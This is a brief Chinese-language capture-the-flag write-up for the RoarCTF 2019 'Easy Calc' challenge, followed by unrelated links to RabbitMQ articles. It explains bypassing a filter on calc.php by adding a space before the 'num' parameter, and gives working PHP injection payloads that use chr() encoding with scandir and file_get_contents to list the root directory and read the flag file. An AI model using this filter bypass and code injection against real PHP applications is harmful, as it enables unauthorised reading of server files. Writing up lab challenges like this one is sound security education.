[RoarCTF 2019]Easy Calc1

打开题目

查看源码,看到

看到源代码有 calc.php,构造url打开

看到php审计代码,

由于页面中无法上传num,则输入 num,在num前加入一个空格可以让num变得可以上传,而且在进行代码解析时,php会把前面的空格去除。

由于不能使用很多的字符,可以使用file_get_contents()函数,将ascii码转化为字符来绕过。

构造? num=var_dump(scandir(chr(47)))

scandair可以列出指定路径中的文件目录。

得到flag

复制代码
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
相关推荐
未秃头的程序猿20 小时前
@ConditionalOnMissingBean 把我配好的 RabbitMQ 手动 ack 吃掉了
后端·rabbitmq
一条泥憨鱼1 天前
【RabbitMQ】高级篇
java·分布式·rabbitmq·php·ruby
阳光不锈@4 天前
三大主流消息队列架构设计思想剖析:从 RabbitMQ 到 RocketMQ 的改造实践
kafka·rabbitmq·rocketmq·rabbit改造rocket·去除rabbitmq·rabbitmq改造
catino9 天前
RabbitMQ详解
分布式·rabbitmq·ruby
叶总没有会10 天前
RabbitMQ高级
分布式·rabbitmq
Linux实战笔记11 天前
记一次消息队列选型对比线上排查:Kafka/RabbitMQ/Pulsar 技术选型
kafka·rabbitmq·高并发·pulsar·消息队列选型
张彦峰ZYF11 天前
一条消息的丢与重:Kafka 与 RabbitMQ 可靠投递的确认、位点、死信与幂等全链路
后端·kafka·消息队列·rabbitmq·isr·解耦与削峰·丢失与重复
用户849137175471613 天前
订单超时未支付自动取消实现方案 | 三种方案详解
redis·面试·rabbitmq
蓝胖的四次元口袋13 天前
RabbitMQ知识梳理(2)
分布式·rabbitmq
叶总没有会14 天前
RabbitMQ基础--java客户端
java·rabbitmq·java-rabbitmq